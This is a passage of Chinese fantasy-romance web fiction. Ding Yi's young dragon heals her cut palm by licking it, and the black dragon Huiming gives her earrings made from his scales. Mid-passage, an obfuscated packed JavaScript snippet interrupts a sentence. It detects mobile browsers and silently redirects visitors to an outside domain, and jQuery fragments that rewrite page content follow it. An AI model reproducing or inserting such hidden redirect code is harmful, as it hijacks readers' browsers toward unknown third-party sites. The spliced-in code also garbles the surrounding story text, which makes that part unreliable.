不知何时,窗外下起了雨。
雨声淅淅沥沥。
丁依先回复了晦明的消息,才去看工作群。
杂志的拍摄已经收工了,Cici姐私聊了她表达感谢,说留了小礼物,托制片转交给她。
丁依感谢了她,又想起什么,点进和张铭的对话框。
正要编辑消息,一对龙角突兀地插进她的视野里。
那条龙悄无声息地上了床。
丁依在心底叹气。
这条龙的成长速度太快,没想到锁灵符这么快对它没用了。
龙不知道丁依在想什么。
它低着头,在丁依的下巴和脖子之间嗅闻了一番,银白的鬃毛从龙颈后垂落,若有似无地擦过她露出的皮肤。
两只前爪撑在她耳侧,龙身盘踞在她上方,形成压迫性的阴影。
丁依的角度看不见它的表情,只听到轻轻的呼吸声,以及翕动的鼻息温热地拂过她的下巴和脖子。
她一瞬间恍惚。现在的龙让她陌生,仿佛一只妖兽,悬停在猎物的要害所在,试图寻找一个下口的位置。
丁依有一些不安。她挣扎着想起来,但没有成功——下半身被龙尾虚压着,她使不出劲。
龙注意到了她的动作。它抬起头,和丁依对视。
昏暗的光线中,它的蓝眼睛闪烁着莹润的微光,里面是熟悉的清澈。丁依的心跳慢慢平缓下来,她呼出一口气,重新蜷缩回枕头上。
龙注视着丁依,好像在观察她的微表情。好一会儿,它的脑袋一动,用脑门把手机从丁依的手里拱开。
丁依没有料到它的动作,她的手没抓稳,“啪”地一声,手机掉到枕头边。
她责怪的声音还没出口,龙突然舔过了她的手心。
手心上,那道她被晦明的龙鳞割破的伤口还没愈合。伤处被摩擦的刺痛,让丁依下意识想缩手,龙却轻轻张口,叼住了她的指尖,然后抬眼看向她。
……它想做什么?
她的手指被含在龙温热的口腔中,它虚虚地咬着她的指尖,没有施加真正的力量。
至少,它应该不是想伤害她。
见她不再乱动,龙松开了嘴。它伸出湿润的舌尖,缓慢地卷过她掌心细长的割伤。这次它更加小心翼翼,放慢了舔舐的节奏,莹润的蓝眼睛不时抬起打量,像是在观察她的表情,也像是安抚。
慢慢地,一阵清凉从丁依的伤口处泛上来,中和了摩挲带来的痛感。
丁依隐约反应过来什么。
想起了之前的龙拔鳞片,她放弃抵抗,任由龙动作。
虽然关着窗,还是能听出窗外的雨声越来越大。
雨一直下,人的心底都潮湿了起来。
时间也变得很慢,像雨水浸透的蛛网,黏稠而漫长。
丁依有点说不出的焦躁。
相比她,龙要专注地多,它的呼吸放得很轻,全神贯注。
终于,丁依有点忍不住了。
“那个……好了吗?”
听到她的话,龙的耳朵动了动。
这时,枕边的手机响了一声,转移了丁依的注意力。
她拿起手机,屏幕亮起,是来自晦明的新消息提醒。
「??」
「来了吗?」
糟糕,她把晦明忘了。
“我去去就回。”丁依匆忙地揉了把龙头,轻轻推开它下了床。
她抓了把伞、披了件外套,从门口的插电槽里拔下房卡揣进兜里,脚步匆匆地离开了房间。
酒店的电源系统有延迟,丁依人已经离开了好一会,插电槽才发出“滴”地一声,房间陷入黑暗。
龙隐藏在黑暗中,注视着房门的方向。
晦明和丁依约定的见面地点,是酒店二楼的一处露天咖啡馆。
这个咖啡馆和丁依的房间不在同一栋,她走了点弯路,才找到入口。
因为大雨,桌椅被临时收进了室内,拥挤地堵在入口的玻璃墙边。
咖啡馆没开门,但好在灯还开着。昏黄的光线照亮了玻璃门外的景象——
巨大的黑龙局促地弓着背,缩在那小小的平台上,暴雨顺着鳞片的缝隙流下。
看到丁依出现,暴躁的龙神之子嘟囔着:“终于来了。”
他的声音几乎被雨声淹没。
丁依撑起伞,刚想抬脚跨上平台,突然发现自己还穿着酒店的一次性拖鞋。
她缩回了脚,远远地冲晦明喊道:“你找我有什么事?”
黑龙焦躁地刨了一下爪子。
“你非得站那么远和我说话吗?”
“这么大雨,你非得让我出来吗?”
“那你想让我怎样,飞到你房间的窗口吗?”
“不是,我说,有什么事不能手机说吗?”
雨瓢泼地下着,溅起的雨滴还是浸湿了丁依脚上单薄的酒店拖鞋,她有些不耐地动了动脚趾。
年轻的黑龙一动不动,赤色的红眸注视着丁依。
正当丁依以为晦明准备继续回怼自己时,他突然化身成了黑发红眸的凡人少年模样,三两步挤进了丁依的伞下。
晦明没有用避水诀,雨水顺着他的发梢滴落。
和丁依对视上,他的眼神闪烁了一下,赤瞳像被淋湿的火苗。
丁依感到掌心里被塞进来什么东西。
“我没办法用手机说,是因为我想要自己把这个给你……本来上次你生日时就想给的,但因为……没有给成。”
晦明咽下了没说出口的话,然后叹了口气。
“丁依,我们别吵了,好吗?”
大雨磅礴。
晦明的手指还停留在她的掌心,指节微微发颤,雨水顺着他的手腕滑落到两人相触的肌肤上。
他的另一只手覆上她的手背,打开了那个刚刚塞进她手心的盒子。
盒子里,是一对黑色的耳钉。
耳钉的表面,布着和晦明的黑色龙鳞一样的纹路。
丁依脱开晦明的手,捻起一颗耳钉细看。
“这耳钉……莫非是,用你的鳞片做的?”
“嗯……”
“你不是说,没有拔过自己的鳞片吗?”
“非得要拔吗?鳞片也会自然脱落的。”晦明对她的反应有些失望,也有些莫名,不知道她为什么要问这个。
“龙鳞为什么会自然脱落?”丁依没有察觉晦明的情绪,穷追不舍。
“就只是……龙的某种生长规律……”晦明说得含糊不清。
“生长规律?和凡人掉头发是一回事吗?”她又问。
晦明喉头一哽。
明明刚刚气氛正好,仿佛有几分像从前。偏偏她要打破砂锅问到底,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643564|170400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下把他拉回了现在。
“烦死了,别问了!”
他恼羞成怒,一把夺过丁依手里的耳钉,想要替她戴上。
隔壁,酒店的住宿楼栋的外立面。因为暴雨,所有房间都紧紧地关着窗,只有一扇窗开着。
窗户里,龙正看着窗外。
龙族的视力很好。那边二楼的平台上,晦明低头为丁依戴上耳钉的动作,在它眼中分外清晰。
龙突然想起,自己刚来到丁依家里时,也是这样成日地蹲在窗边,看着窗外的马路打发时间。刚开始,它甚至不知道玻璃是什么,还用爪子在窗户上刨,试着想要出去。
那时候,丁依总是在观察自己。她不停向它提问、纠结它饿不饿的问题。
后来,它学会了运用灵力、变出灵虾、控制水流。
丁依好像对它放心了,她转开了视线,去忙其它事,跟其他人,老杨,人鱼,晦明,不同的凡人,来来去去……
才过了几天而已啊。
酒店房间里死一般的黑暗与寂静,把远处平台上星星点点的昏黄灯光,衬托得格外温暖。
一股陌生的燥热在龙的体内升起,像有岩浆从身体深处溢出,正在鳞片下缓慢流淌。
它的龙脊难耐地绷起,弓成一道紧张的弧线。它竭力忍住想要从窗口一跃而出、落入雨中的冲动。
它想,自己可能是又“饿”了。
黑暗中,无人注意的地毯角落,掉落下了几片莹白的龙鳞。
……
丁依回到房间。
插入取电卡,灯光亮起。看到龙时,她才想起,自己刚刚忘了问晦明他知不知道这条龙是男孩女孩。
算了,不重要,反正自己马上要把这条龙送回叶瑾瑜那里了。
和从前一样,听到丁依开门回来的声音,龙就哒哒哒地从窗边跑来迎接。
不过……它的身形大了很多,所以哒了没两下,就到了丁依的眼前。
丁依刚抬起一只手,龙就用头顶起她的手,往她的手心蹭。
“怎么这么着急。”丁依笑着随口说道。
突然,她停住,收回手,看了看自己这只手的掌心。
然后,她又举起另一只手,把两个手掌并排一起检查。
她喃喃道:“话说,我刚刚是哪只手受伤来着?”
灯光下,她的两只手掌都光洁如新。那道割伤,好像从未存在过。
……
睡前,丁依像往常一样整理她接下来的工作待办。
明天就是《重回顶流时代》的一公录制。丁依的工作集中在录制前的物料拍摄和后期的制作,正式录制当天,她反而没什么事。
她给todolist哐哐一顿打勾,只有「纪录片」一栏还空着。
这个纪录片,明明是临时加塞给她的活,却麻烦最多。
丁依倒也不焦虑。
她在心里估量,经过这么多波折,老杨肯定已经认命,接受了直接用节目后台素材剪辑。
这般想着,她便提前把「纪录片」后面的勾也打上。
既然已经没有待办事项,她打开订票软件,给自己订了后天回家的火车票,准备明天录制一结束,就尽快打道回府。
绿洲市,应该短时间没有她的工作了。
至于小蚌精的后续……那是叶瑾瑜和梁凡的事了。